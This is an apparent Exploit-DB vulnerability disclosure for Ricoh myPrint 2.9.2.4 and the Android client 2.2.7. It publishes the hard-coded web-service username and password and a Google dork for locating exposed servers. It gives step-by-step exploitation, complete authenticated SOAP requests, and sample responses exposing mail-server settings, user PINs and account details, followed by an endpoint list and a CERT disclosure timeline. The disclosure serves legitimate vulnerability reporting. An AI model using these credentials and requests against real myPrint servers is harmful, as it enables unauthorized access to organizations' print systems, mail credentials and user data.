ricoh myprint 2.9.2.4 hardcoded credentials

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# Exploit Title: Ricoh myPrint 2.9.2.4 - Hard-Coded Credentials # Google Dork: intitle:"ricoh myprint" "Copyright Ricoh. All Rights Reserved" # Date: 2018-11-19 # Exploit Author: Hodorsec # Vendor Homepage: https://www.ricoh.com # Software Link: https://www.ricoh-europe.com/support/product-support/software-support-detail.html?prodId=100-13203 # Versions: # myPrint - Windows client version 2.9.2.4 # myPrint - Android client version 2.2.7 # Tested on: Ricoh myPrint clients and WSDL webservice # WSDL URL format: https://{HOST}/RicohmyPrint/MyPrintWebService.asmx?wsdl # CVE: N/A # Description: # Hardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for Android # give access to any externally disclosed myPrint WSDL API, as demonstrated by discovering # API secrets of related Google cloud printers, encrypted passwords of mail servers and # names of printed files. # Additional Information: # Hardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for # Android (reverse-engineered, identical credentials), gives access # to any externally disclosed Ricoh myPrint WSDL API. Using the found credentials, several info can be obtained, such as: # * Show settings such as local paths, used mailserver, mailaddresses for POP/IMAP and encrypted passwords (appears to be stream-based # encrypted, seeing different lengths of base64 hashes passwords (Algorithm yet unknown)). --> ReadMobileSettings # * Checks if a password is valid for ANY known user; returns "true" if password is valid for a known user --> IsPasswordValid # * Shows all user info such as ID, name by looking up email alias --> IdentifierByEmailAlias # * Show used internal IP addresses and TCP ports of related printers/server for Ricoh myPrint # * Show related Google cloud printers with API secrets --> ReadGoogleCloudPrinters # * Show all printjob-statuses with filenames --> GetJobList # * Show related organizations --> ReadOrganizations # Affected Components: # * Tested Ricoh myPrint clients with indicated versions and probably any remotely accessible myPrint webserver with an accessible WSDL API. # Affected Code: # * Android client "WebService.java" ...<SNIP>... public static final class { public static final String AUTH_PASS = "Kyg63WfC"; public static final String AUTH_USER = "ricohmyprint"; public static final String NS_RICOH = "http://RicohmyPrint.com/"; public static final String NS_SOAP12 = "http://www.w3.org/2003/05/soap-envelope"; public static final String PRE_RICOH = "ric"; public static final String PRE_SOAP12 = "soap"; public static final String SERVICE = "/RicohmyPrint/myprintwebservice.asmx"; public static final String SUPPORTED_LANGS[] = { "en", "ca", "de", "es", "fr", "it", "nl", "no", "pl", "pt", "sv" }; ...<SNIP>... Attack Type: * Remote Attack Vectors: Steps: * Download the Android APK or Windows executable installer * Reverse engineer the APK or DLL's from the Windows installer * Look for the string "PASS" with a regex tool, which should pop up a hit * Access the WSDL on a reachable Ricoh myPrint environment and enumerate operations with a SOAP tool (e.g. "ReadMobileSettings") * Use any operation, substitute the "AuthSoapHd" values for UserName and Password with the found credentials * Perform the request and check results Hardcoded Credentials: * Username: ricohmyprint * Password: Kyg63WfC Header requirement: Required for using in an SOAP WSDL POST message as a header with values: <soapenv:Header> <ric:AuthSoapHd> <ric:UserName><![CDATA[ricohmyprint]]></ric:UserName> <ric:Password><![CDATA[Kyg63WfC]]></ric:Password> <ric:Version><![CDATA[0.1]]></ric:Version> <ric:Application><![CDATA[Desktop]]></ric:Application> <ric:DeviceId><![CDATA[1]]></ric:DeviceId> </ric:AuthSoapHd> </soapenv:Header> Examples: * ReadMobileSettings --------------------------------------------- REQUEST <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ric="http://RicohmyPrint.com/"> <soapenv:Header> <ric:AuthSoapHd> <ric:UserName><![CDATA[ricohmyprint]]></ric:UserName> <ric:Password><![CDATA[Kyg63WfC]]></ric:Password> <ric:Version><![CDATA[0.1]]></ric:Version> <ric:Application><![CDATA[Desktop]]></ric:Application> <ric:DeviceId><![CDATA[1]]></ric:DeviceId> </ric:AuthSoapHd> </soapenv:Header> <soapenv:Body> <ric:ReadMobileSettings/> </soapenv:Body> </soapenv:Envelope> RESPONSE <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <ReadMobileSettingsResponse xmlns="http://RicohmyPrint.com/"> <ReadMobileSettingsResult> <WatchFolder>C:\ProgramData\RICOH\WatchFolder</WatchFolder> <ProcessFolder>C:\ProgramData\RICOH\ProcessFolder</ProcessFolder> <WebUploadFolder>C:\ProgramData\RICOH\WebUploadFolder</WebUploadFolder> <MaximumNumberProcessesRunningAllowed>0</MaximumNumberProcessesRunningAllowed> <ToFilePrinterName>myPrintToFile</ToFilePrinterName> <PrinterDriverName>RICOH Aficio MP C3500 PCL 6</PrinterDriverName> <POPIMAP> <EmailHandling>SINGLE</EmailHandling> <RetrievingInterval>5</RetrievingInterval> <EmailProtocol>POP3</EmailProtocol> <EmailServer>pop.someserver.local</EmailServer> <Port>110</Port> <PrintEmailBody>true</PrintEmailBody> <UserName>print@someserver.local</UserName> <Password>REDACTED</Password> <Domain /> <EmailWebservice /> <ExchangeVersion>5</ExchangeVersion> <OverrideCertificateCheck>false</OverrideCertificateCheck> </POPIMAP> <SMTP> <SmtpServer>smtp.someserver.local</SmtpServer> <Port>25</Port> <EmailDisplayName>Ricoh myPrint</EmailDisplayName> <EmailFrom>someuser@someserver.local</EmailFrom> <EnableSsl>false</EnableSsl> <UserName /> <Password>REDACTED</Password> </SMTP> <GCP> <Id>0</Id> <XmppPort>80</XmppPort> <UseSocksProxy>false</UseSocksProxy> <SocksProxyServer /> <SocksProxyVersion>5</SocksProxyVersion> <SocksProxyPort>1080</SocksProxyPort> <SocksProxyUser /> </GCP> <LPRPrinterPort>0</LPRPrinterPort> <UseLPR>false</UseLPR> <EmailRefusal>postmaster</EmailRefusal> </ReadMobileSettingsResult> </ReadMobileSettingsResponse> </soap:Body> </soap:Envelope> --------------------------------------------- * IdentifierByEmailAlias --------------------------------------------- REQUEST: <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ric="http://RicohmyPrint.com/"> <soapenv:Header> <ric:AuthSoapHd> <ric:UserName><![CDATA[ricohmyprint]]></ric:UserName> <ric:Password><![CDATA[Kyg63WfC]]></ric:Password> <ric:Version><![CDATA[a]]></ric:Version> <ric:Application><![CDATA[b]]></ric:Application> <ric:DeviceId><![CDATA[c]]></ric:DeviceId> </ric:AuthSoapHd> </soapenv:Header> <soapenv:Body> <ric:IdentifierByEmailAlias> <!--Optional:--> <ric:emailAlias>admin</ric:emailAlias> </ric:IdentifierByEmailAlias> </soapenv:Body> </soapenv:Envelope> RESPONSE: <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <IdentifierByEmailAliasResponse xmlns="http://RicohmyPrint.com/"> <IdentifierByEmailAliasResult> <Exists>true</Exists> <Account> <Id>1337</Id> <AccountId>83e754ff-fa1d-48b6-adb2-7cb60a22476d</AccountId> <UserName>admin</UserName> <Emailaddress>someuser@someserver.local</Emailaddress> <PersonalmyPrintId>1osd9KJ</PersonalmyPrintId> <Balance>5</Balance> <BalanceFormatted>€ 5,00</BalanceFormatted> <Primarypin>123456</Primarypin> <SecondaryPin/> <OrganisationId>1</OrganisationId> <ByClientCreated>false</ByClientCreated> <IsActivated>true</IsActivated> <GuestAccount>false</GuestAccount> <Aliasses/> <Transactions/> <Language>GB</Language> <MpPrintingPreferences> <Id>0</Id> <DuplexPreference>TwoSidedLongEdge</DuplexPreference> <ColorPreference>Monochrome</ColorPreference> <ChangingDuplexEnabled>true</ChangingDuplexEnabled> <ChangingColorEnabled>true</ChangingColorEnabled> <StaplePreference>StapleTopLeft</StaplePreference> <PagePerSheetPreference>One</PagePerSheetPreference> <ChangingStapleEnabled>true</ChangingStapleEnabled> <ChangingPagePerSheetEnabled>true</ChangingPagePerSheetEnabled> </MpPrintingPreferences> <QpilotCardID/> <ClientType>IDPLocal</ClientType> <Administrator>false</Administrator> <HelpDesk>false</HelpDesk> <PrintQueue> <Id>1</Id> <PrinterId>1</PrinterId> <PrintQueueType>LPR</PrintQueueType> <PrinterName>Default printer</PrinterName> <PrinterAddress>127.0.0.1</PrinterAddress> <QueueName>lp</QueueName> <Port>515</Port> <IsPublic>true</IsPublic> <Priority>0</Priority> <Active>true</Active> </PrintQueue> <Domain/> </Account> </IdentifierByEmailAliasResult> </IdentifierByEmailAliasResponse> </soap:Body> </soap:Envelope> --------------------------------------------- Soap Endpoints: * ApplyAgreementAcceptance * ChangePassword * ClearCache * CreateAccount * CreateAccountByCardId * FinishedJobProcessing * GetConditionsUri * GetImage * GetJobList * GetLanguageTable * GetPrintCapabilities * GetPrintQueueRuleResult * GetSupportUri * IdentifierByEmailAlias * IsPasswordValid * LogIn * Operation * ReadAccount * ReadGoogleCloudPrinters * ReadMobileSettings * ReadMpPrintQueues * ReadOrganizations * ReadSettings * ReSendPincode * ResetPassword * RetrieveCloudPrintJobsAllowed * RetrieveEmailAllowed * SendCancelPrintJob * SendHeartbeat * SendPrinterName * Test * UpdateAccount * UpdateGoogleCloudPrinter * UploadFile * UploadFileAndPrintTicket * VerifyJobProcessing * VoucherToCash * WaitingJob * WriteLog Disclosure Timeline using CERT/CC disclosure policy: - 04-10-18: Requested CVE - 05-10-18: Contacted vendor for initial contact, used several publicly known mailaddresses - 10-10-18: Contacted CERT for Vulnerability Disclosure coordination due to no response from vendor - 22-10-18: CERT responded it received no response on their behalf from vendor - 22-10-18: Sent reminder to vendor - 19-11-18: Public Disclosure

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